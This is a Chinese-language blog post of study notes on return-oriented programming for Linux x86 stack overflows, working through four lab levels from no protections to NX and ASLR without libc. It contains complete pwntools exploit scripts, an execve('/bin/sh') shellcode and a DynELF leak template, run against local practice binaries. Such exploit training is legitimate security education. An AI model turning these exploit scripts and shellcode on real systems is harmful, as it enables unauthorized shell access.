一步一步学ROP Linux x86 学习笔记

  • 一步一步学ROP Linux x86 学习笔记
    • 一无任何防护
    • 二开启DEP
    • 三开启DEP和ASLR
    • 四开启DEP和ASLR无libc

一步一步学ROP Linux x86 学习笔记

这部分文章主要依据的是蒸米大神的一步一步学ROP系列文章,我也是跟着做的,本文主要记录其中的问题和实验没有成功的地方。

一、无任何防护

在github可以找到相关的资料,不用自己编译漏洞代码了,也有写好的exp。
从最基础的开始,先学无任何防护的栈溢出。使用checksec看一下防护:

一步一步学ROP Linux x86 学习笔记_第1张图片
那就简单了,直接用shellcode打就可以,这里要注意一下覆盖的返回地址可以设置为buf的起始地址, 然后把shellcode放在buf里,但是这个buf的地址不能通过gdb直接调试得到,因为gdb调试会影响buf的位置,即使我们关闭了Linux的ASLR。根据蒸米的文章,就是开启core dump这个功能。
开启之后,当出现内存错误的时候,就会在tmp文件夹下生成一个core dump文件,然后用gdb加载调试就可以得到buf在内存中的固定地址:

一步一步学ROP Linux x86 学习笔记_第2张图片
然后就坑了,本地调试一直没有打通,使用socat放在远程,还是通过core dump得到远程buf地址,再用相同的exp打就成功了,exp如下:

#!/usr/bin/env python
from pwn import *

# p = process('./level1')
p = remote('127.0.0.1',10008)
ret = 0xffffcec0

# execve ("/bin/sh") 
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload =  shellcode + 'A' * (140 - len(shellcode))   + p32(ret)

p.send(payload)

p.interactive()

十分奇怪

二、开启DEP

栈不可以执行,在Windows中DEP,在Linux中叫NX,看一下level2的保护:

一步一步学ROP Linux x86 学习笔记_第3张图片
栈不可以执行之后,shellcode就没法用了,所以考虑使用系统调用开一个shell。所以我们需要解决三件事:
· 获取system地址
· 获取参数/bin/sh地址
· 如何执行system函数
本题假设还是ASLR关闭的情况,所以system函数在内存中的地址是固定的,同时参数/bin/sh的地址也是固定的。通过peda插件,分别找到这两者的地址:

一步一步学ROP Linux x86 学习笔记_第4张图片
然后返回地址布置为system的内存中地址,给出exp:

from pwn import *

sh = process("./level2")
systemaddr = 0xf7e31020
binaddr = 0xf7f557cf

junk = 'a'*136
fakebp = 'a'*4

shellcode = ""
shellcode += junk+fakebp
shellcode += p32(systemaddr)
shellcode += p32(1111)
shellcode += p32(binaddr)

sh.send(shellcode)
sh.interactive()

这次本地测试就拿到shell了,还是没有搞懂level1的本地测试失败的问题:

一步一步学ROP Linux x86 学习笔记_第5张图片

三、开启DEP和ASLR

开启ASLR之后,第二部分直接在内存中找system和参数地址的方法就无法使用了,不过总体思路还是执行system开一个shell。
思路是通过write函数泄露出write函数在内存中地址,然后根据libc计算出system在内存中的地址,参数地址可以通过同样的方法获取。然后布置返回地址为漏洞函数的地址(程序本身在内存中地址不是随机的),溢出两次,第二次实行system,获取shell,给出exp:

from pwn import * 

# sh = process("./level2") 
sh = remote("127.0.0.1",10008) 
libc = ELF("libc.so")
elf = ELF("level2")

# offset 
readoffset = libc.symbols['read']
writeoffset = libc.symbols['write']
systemoffset = libc.symbols['system']
binoffset = 0x0015F7CF
# plt 
readplt = elf.plt['read']
writeplt = elf.plt['write']

# got 
readgot = elf.got['read']
writegot = elf.got['write']

# lead the address of write
payload = ""
vulfun = 0x8048436
junk = 'a'*136 
fakebp = 'a'*4
payload += junk + fakebp
payload += p32(writeplt) + p32(vulfun) + p32(1) + p32(writegot) + p32(4)

sh.send(payload)
writeaddress = u32(sh.recv(4))
# calc the system and /bin/sh
systemadress = writeaddress - writeoffset + systemoffset
binaddress = writeaddress - writeoffset + binoffset

payload2 = ""
payload2 += junk + fakebp
payload2 += p32(systemadress) + p32(1) + p32(binaddress)

sh.send(payload2)
sh.interactive()

本地测试通过之后,试试远程打一下
通过socat命令:

socat TCP4-LISTEN:10008,fork EXEC:./level2

同样成功:

一步一步学ROP Linux x86 学习笔记_第6张图片

四、开启DEP和ASLR,无libc

当开启DEP和ASLR,并且没有libc的时候,第三部的方法也不好使了,不过这种情况也是老套路了。
使用pwntools的DynELF去泄露system的内存地址,然后调用read函数想.bss段中写入”/bin/sh”,然后调用system即可。
多说一下DynELF模块的使用方法吧,这是基本的模板:

p = process('./xxx')
def leak(address):
  #各种预处理
  payload = "xxxxxxxx" + address + "xxxxxxxx"
  p.send(payload)
  #各种处理
  data = p.recv(4)
  log.debug("%#x => %s" % (address, (data or '').encode('hex')))
  return data
d = DynELF(leak, elf=ELF("./xxx"))      #初始化DynELF模块 
systemAddress = d.lookup('system', 'libc')  #在libc文件中搜索system函数的地址

该模块是pwntools专门用来应对没有libc的情况的。

你可能感兴趣的:(Pwn)